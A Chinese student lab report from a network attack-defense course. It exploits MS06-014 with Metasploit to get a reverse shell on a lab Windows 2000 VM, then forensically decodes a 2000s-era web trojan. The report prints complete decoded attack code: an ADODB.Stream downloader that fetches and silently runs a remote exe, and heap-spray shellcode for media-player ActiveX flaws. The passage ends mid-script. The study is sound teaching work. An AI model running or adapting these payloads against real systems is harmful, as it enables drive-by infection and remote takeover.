20251903 2025-2026-2 《网络攻防实践》实践十一报告

一、实验概述

1.1 实践目标

本次实践围绕MS06-014浏览器漏洞与18dd.net网页挂马场景,完成渗透攻击、木马取证、攻防逻辑分析的完整实战流程,具体目标:

  1. 基于Metasploit框架实现MS06-014 IE漏洞渗透攻击,完成恶意网页构造、Windows 2000靶机漏洞触发、远程Shell会话建立与命令执行,掌握客户端浏览器漏洞的完整利用流程。
  2. 完成18dd.net网页挂马场景取证分析,掌握隐藏iframe识别、多层加密JS解密、MD5哈希匹配下载文件、多漏洞木马同源性校验的完整取证流程,解决取证中"浏览器打开非网页文件报错"的常见问题。
  3. 理解多漏洞匹配型网页木马的攻击架构,掌握ActiveX控件漏洞CLSID识别、恶意代码混淆与免杀手段分析方法,建立客户端网页挂马攻击的完整攻防认知。
  4. 掌握攻防实验基础排错能力,解决虚拟机网段不通、Metasploit端口占用等常见实验问题,建立标准化的实验操作流程思维。

1.2 核心知识点

1.2.1 MS06-014浏览器漏洞利用原理

核心规则:利用IE浏览器ADODB.Stream组件的未初始化内存漏洞(微软编号MS06-014),突破浏览器沙箱权限,实现远程文件下载与本地静默执行,仅影响Windows 2000/XP+IE6的老旧系统。

完整攻击链:构造恶意网页→靶机访问触发漏洞→拉取攻击机恶意exe→写入系统TEMP临时目录→无弹窗静默执行→建立反向Shell远程控制会话。

实战特征:全程无用户交互、无明显弹窗,仅需点击恶意链接即可被完全控权,是2000年代网页挂马最主流的利用漏洞。

1.2.2 网页木马取证核心方法

哈希溯源机制:恶意代码将真实文件地址加密,解密后计算32位MD5哈希值,通过哈希值匹配下载对应文件,隐藏真实的恶意文件路径。

混淆加密手段:采用Base64、XXTEA加密、JS变量混淆、0宽高隐藏iframe等手段隐藏恶意代码,同时插入正常流量统计代码干扰取证分析。

取证避坑要点:非网页格式的JS、EXE文件无需用浏览器打开,直接读取源码解密即可,避免误判为"链接失效"。

1.2.3 多漏洞匹配网页木马架构

通用攻击框架:单木马框架兼容多个ActiveX控件漏洞(MS06-014、暴风影音、PPStream、百度搜霸等),自动匹配靶机存在的漏洞,最大化感染覆盖范围。

同源性特征:多个漏洞对应不同的下载地址,但最终下载的恶意程序二进制内容完全一致,仅更换下载渠道实现多入口攻击。

基础免杀手段:恶意程序文件名动态随机生成,避免杀毒软件静态特征查杀,仅在内存中解密执行核心恶意代码。

1.2.4 实验环境基础排错要点

网络互通前提:攻击机与靶机需配置同网段(统一为VMnet8 NAT模式),双向ping通是所有渗透实验的基础前提。

端口冲突解决:Metasploit启动提示端口绑定时,更换LPORT监听端口或杀掉占用端口的进程即可解决。

靶机环境要求:必须使用未打对应漏洞补丁的Windows 2000/XP+IE6环境,高版本Windows与现代浏览器已修复该类漏洞,无法触发攻击。

1.2.5 实验环境关键配置

攻击机:Kali Linux 2025.2,IP:192.168.198.65(预安装Metasploit)

Windows靶机:Win2kSever_SP0-target,IP:192.168.198.67(未打MS06-014补丁,IE 6.0版本)

取证素材:18dd.net挂马样本压缩包,通过MD5哈希匹配对应恶意文件

网络配置:攻击机与靶机均为VMnet8 NAT模式,同网段互通

二、实践任务与操作步骤

2.1 Web浏览器渗透攻击(MS06-014漏洞利用)

在实验开始前,先得到目标靶机和攻击靶机的IP地址,之后尝试用攻击机去ping靶机。

image-20260616203633913

image-20260616205739305

发现ping不通后,通过检查发现两者的网段发现不同,于是将二者调整至统一网段后(两个虚拟机网络适配器都调为VMnet8的NAT模式,且靶机IP地址设置为自动获取)再次进行ping尝试并确定两者现在是处于联通状态。

image-20260616204152039

image-20260616204337765

image-20260616205633417

攻击机名称及IP地址:kali-linux-2025.2,192.168.198.65
靶机名称及IP地址:Win2kSever_SP0-target, 192.168.198.67

打开Metasploit控制台,在其中搜索MS06-014浏览器漏洞模块,并加载该漏洞模块

sudo msfconsole
search MS06-014
use exploit/windows/browser/ie_createobject

image-20260616211728236

image-20260616211433572

image-20260616211659823

查看PAYLOAD参数,并选择反向Shell连接作为攻击载荷:

show options
set PAYLOAD windows/shell_reverse_tcp

image-20260616211844840

image-20260616212029145

配置核心攻击参数,包括设置攻击机IP地址、设置监听端口、 设置恶意网页服务监听地址(0.0.0.0表示监听所有网卡)、设置恶意网页访问路径、并在设置完所有后再次查看所有配置参数,确定配置成功

set LHOST 192.168.198.65
set LPORT 4444
set SRVHOST 0.0.0.0
set URIPATH /update.html
show options

image-20260616212428925

启动渗透攻击服务,构造恶意网页木马:

exploit

启动成功后,Metasploit输出了恶意网页URL:http://192.168.198.127:8080/update.html,此时攻击机已开启8080端口监听,并等待靶机访问该恶意URL。

image-20260616222349787

在Win2kSever_SP0-target靶机中:

  1. 在靶机中打开IE 6.0浏览器,输入攻击机输出的恶意URL:http://192.168.198.65:8080/update.html

  2. 浏览器页面会显示以下页面,说明后台已触发漏洞执行Shellcode。

    image-20260616223335154

在攻击机Metasploit控制台中:

  1. 观察控制台输出,发现出现session 1 opened提示,这说明我们这次实验的远程控制会话已成功建立。

    image-20260616224000279

  2. 查看当前活跃会话:

sessions -l

image-20260616224108604

  1. 进入远程控制会话:
sessions -i 1

image-20260616224130588

在建立的Shell会话中,执行远程命令验证控制权限,输入

ipconfig

成功执行以上命令,证明浏览器渗透攻击完成,已获取靶机远程控制权限。

image-20260616224255216

2.2 取证分析实践——网页木马攻击场景分析

在记事本中打开初始入口文件start.html,搜索new09.htm的访问地址,分析可得new09.htm在被引用时使用的是相对路径,说明new09.htm和start.html处于同一目录下。

image-20260616230509283

继续向下寻找可以发现一个隐藏的iframe,

<iframe src="new09.htm" width="0" height="0"></iframe>

它的作用是在网页中不可见地加载另一个页面,这意味着当用户访问这个页面时,会静默加载 new09.htm 文件(宽高为0,不可见)。

image-20260616231205555

由于学习通中未给出new09.htm 的下载路径,参考资料中的学习通教程《网页挂马分析实践参考(上)》,new09.htm 的相关代码如下

 <script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>

通过上述的代码内容,我们可以看到在new09.htm文件中,用javascript引用了一个http://js.users.51.la/1299644.js文件,又用iframe引用了一个http://aa.18dd.net/aa/kl.htm文件

对解密出的两个文件地址,打开在线MD5计算 - 哈希/散列计算器 | 爱问在线工具,分别计算其32位MD5哈希值

image-20260617135049063

image-20260617135126914

我们可以根据上述的过程,得到以下的结果。

URL MD5 值
http://js.users.51.la/1299644.js 23180a42a2ff1192150231b44ffdf3d3
http://aa.18dd.net/aa/kl.htm 7f60672dcd6b5e90b6772545ee219bd3

之后,我们在学习通中找到网页挂马分析实践-解压密码这个压缩包,将其解压到主机上,进行后续实验

image-20260617154352094

image-20260617154417354

image-20260617154431834

我们打开解压好的文件夹,找7f60672dcd6b5e90b6772545ee219bd3、23180a42a2ff1192150231b44ffdf3d3,并对这两个文件进行下一步分析。

image-20260617154644978

我们打开7f60672dcd6b5e90b6772545ee219bd3文件,发现该文件内容只是流量统计代码,不是木马

image-20260617135323331

我们打开23180a42a2ff1192150231b44ffdf3d3文件,经ai辅助分析可得该文件为我们所需要的文件

image-20260617135410341

在倒数第三行,我们可以发现其直接显示用了xxtea加密和base64编码,并且可知其密钥应为\x73\x63\x72\x69\x70\x74

image-20260617135504584

我们打开在线字符串/十六进制互相转换—LZL在线工具,对得到的十六进制密钥进行字符串解密,得到密钥为script

image-20260617135757840

在得到密钥之后,我们将经过XXTEA加密的原文。

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

利用XXTEA加密 | XXTEA解密 - 在线工具,输入得到的密钥script后进行解密,得到对应的原文。

image-20260617140011200

之后我们再将得到的十六进制原文转换为对应的字符串形式

image-20260617140452991

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

通过利用ai辅助分析文件我们可以看出,这是典型的多漏洞匹配型网页木马代码,通过依次探测浏览器 ActiveX 控件的可用性来匹配对应漏洞,命中后加载对应的恶意载荷:

  1. Adodb.Stream(微软数据库访问对象漏洞,对应 MS06-014):匹配 CLSID 为BD96C556-65A3-11D0-983A-00C04FC29E36的控件`
  2. MPS.StormPlayer(暴风影音控件漏洞):匹配暴风影音 ActiveX 控件
  3. POWERPLAYER.PowerPlayerCtrl.1(PPStream 播放器控件漏洞):匹配 PPStream 播放控件
  4. BaiduBar.Tool(百度搜霸控件漏洞):匹配百度搜霸 ActiveX 控件

分别对获取的四个漏洞的网页url地址,再次打开在线MD5计算 - 哈希/散列计算器 | 爱问在线工具,分别计算其32位MD5哈希值

image-20260617142243209

image-20260617141631354

image-20260617142410623

image-20260617142441600

由上述内容可以得到以下表格中的结果。

恶意文件地址 MD5 哈希值
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2

首先我们在记事本中打开5d7e9058a857aa2abee820d5473c5fa4文件,发现其本身是一个只包含了16进制编码文件。

image-20260617142542453

我们打开在线字符串/十六进制互相转换—LZL在线工具,对得到的十六进制编码文件进行字符串解密

image-20260617142714676

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

通过利用ai辅助分析文件我们可以看出,这是MS06-014(Adodb.Stream)漏洞的完整落地执行代码,是网页木马的核心攻击载荷,完整实现了 "远程下载→本地写入→执行运行" 的完整攻击链:

  1. 核心利用组件:基于Adodb.Stream(微软数据库访问对象)漏洞权限,配合Microsoft.XMLHTTPShell.Application两个系统组件完成攻击
  2. 攻击执行流程:
    • 第一步:定义恶意程序远程地址,目标下载文件为 http://down.18dd.net/bb/014.exe
    • 第二步:调用Microsoft.XMLHTTP组件发起 GET 请求,无交互下载恶意程序的二进制内容
    • 第三步:通过Adodb.Stream将下载的恶意程序写入本地系统路径..ntuser.com(修改后缀为.com 绕过浏览器下载拦截)
    • 第四步:调用Shell.Application组件静默执行cmd.exe,启动本地写入的恶意程序ntuser.com

该代码是典型的浏览器漏洞 "下载者" 木马逻辑,利用漏洞权限绕过浏览器安全沙箱,无需用户确认即可静默下载并执行恶意程序,是网页木马最常见的攻击落地方式。

恶意程序下载地址 MD5 散列值
http://down.18dd.net/bb/014.exe ca4e4a1730b0f69a9b94393d9443b979

其次我们在记事本中打开3870c28cc279d457746b3796a262f166文件

image-20260617143252698

我们利用浏览器右上角菜单栏中的更多工具中的开发者工具来分析该问题

image-20260617221541629

我们先允许其粘贴,之后将原文件中的eval改为console.log其余内容不变展开分析,得到以下结果

image-20260617221354658

image-20260617221413751

var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)

通过ai辅助分析文件我们可以看出,这是 MPS.StormPlayer(暴风影音)ActiveX 控件漏洞的 Heap Spray 堆喷射利用代码 ,是典型的浏览器内存破坏漏洞攻击方式,完整攻击逻辑:

  1. 构造 NOP 填充 sled:使用%u9090(x86 空指令)构造大内存块,作为 Shellcode 的 "着陆区",提高漏洞触发成功率
  2. 嵌入功能型 Shellcode:内置下载者 Shellcode,功能为远程下载恶意程序并静默执行
  3. 堆喷射内存填充:循环构造大量相同的内存块,将 Shellcode 填充到浏览器堆内存的固定位置
  4. 触发漏洞执行:调用storm.rawParse(buffer)触发暴风影音控件的内存解析漏洞,劫持程序执行流跳转到堆内存中的 Shellcode

对 Shellcode 末尾的 Unicode 编码片段进行逐字符解码:

% u 编码片段 解码字符
%u7468 th
%u7074 tp
%u2f3a :/
%u642f /d
%u776f ow
%u2e6e n.
%u3831 18
%u6464 dd
%u6e2e .n
%u7465 et
%u622f /b
%u2f62 b/
%u6662 bf
%u652e .e
%u6578 xe
%u0000 字符串结束符

拼接后完整恶意程序地址:http://down.18dd.net/bb/bf.exe,分析解密后的代码可以发现该文件利用下载者 Shellcode,下载了该恶意程序,漏洞触发后会在靶机后台静默下载并运行该程序。

恶意程序下载地址 MD5 散列值
http://down.18dd.net/bb/bf.exe 268cbd59fbed235f6cf6b41b92b03f8e

再者我们在记事本中打开5f0b8bf0385314dbe0e5ec95e6abedc2文件,我们可以清晰的看到该文件其本身只包含了八进制编码。

image-20260617145219779

我们打开八进制转文本在线工具-在线将8进制转换为文本,支持包括逗号,空格,反斜杠在内的结果分隔符,将得到八进制编码转换为对应的字符串形式

image-20260617145742742

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
